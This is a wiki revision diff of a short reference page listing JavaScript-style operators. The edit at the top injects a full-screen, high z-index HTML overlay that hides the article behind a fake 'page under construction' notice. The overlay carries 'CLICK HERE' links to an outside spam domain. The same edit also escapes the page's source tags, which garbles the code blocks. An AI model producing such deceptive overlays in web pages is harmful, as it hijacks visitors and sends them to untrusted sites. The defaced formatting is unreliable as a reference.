Difference between revisions of "Operators"

From SDU
Jump to: navigation, search
(Comparison (Relational) Operators)
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ipelasuq.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://ipelasuq.co.cc CLICK HERE]=
 +
----
 +
</div>
 
__NOTOC__
 
__NOTOC__
 
[[Category:Customizations]]
 
[[Category:Customizations]]
Line 5: Line 13:
  
 
== Arithmetic Operators ==
 
== Arithmetic Operators ==
<source lang="javascript">
+
&lt;source lang=&quot;javascript&quot;&gt;
 
+  Addition
 
+  Addition
 
-  Subtraction
 
-  Subtraction
Line 11: Line 19:
 
/  Division
 
/  Division
 
% Modulo, for example a % b will result in the remainder of a divided by b
 
% Modulo, for example a % b will result in the remainder of a divided by b
</source>
+
&lt;/source&gt;
  
 
== Comparison (Relational) Operators ==
 
== Comparison (Relational) Operators ==
<source lang="javascript">
+
&lt;source lang=&quot;javascript&quot;&gt;
 
== Equal to
 
== Equal to
 
!=  Not Equal to
 
!=  Not Equal to
<= Less than or equal to
+
&lt;= Less than or equal to
< Less than
+
&lt; Less than
>= Greater than or equal to
+
&gt;= Greater than or equal to
> Greater than
+
&gt; Greater than
</source>
+
&lt;/source&gt;
  
 
== Concatenation Operators ==
 
== Concatenation Operators ==
<source lang="javascript">
+
&lt;source lang=&quot;javascript&quot;&gt;
 
+
 
+
</source>
+
&lt;/source&gt;
  
 
== Logical Operators ==
 
== Logical Operators ==
<source lang="javascript">
+
&lt;source lang=&quot;javascript&quot;&gt;
 
||
 
||
&&
+
&amp;&amp;
 
!
 
!
</source>
+
&lt;/source&gt;
  
 
== Assignment Operators ==
 
== Assignment Operators ==
<source lang="javascript">
+
&lt;source lang=&quot;javascript&quot;&gt;
 
=  simple assignment
 
=  simple assignment
 
+= Compound addition, like in C
 
+= Compound addition, like in C
Line 43: Line 51:
 
/= Compound division
 
/= Compound division
 
%= Compound modulo
 
%= Compound modulo
</source>
+
&lt;/source&gt;

Revision as of 03:30, 24 November 2010



This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page


CLICK HERE


To make corrections or additions to this article, select the edit tab above.
To discuss or ask questions about this article, select the discussion tab above.

Arithmetic Operators

<source lang="javascript"> + Addition - Subtraction

  • Multiplication

/ Division % Modulo, for example a % b will result in the remainder of a divided by b </source>

Comparison (Relational) Operators

<source lang="javascript"> == Equal to != Not Equal to <= Less than or equal to < Less than >= Greater than or equal to > Greater than </source>

Concatenation Operators

<source lang="javascript"> + </source>

Logical Operators

<source lang="javascript"> || && ! </source>

Assignment Operators

<source lang="javascript"> = simple assignment += Compound addition, like in C -= Compound subtraction

  • = Compound multiplication

/= Compound division %= Compound modulo </source>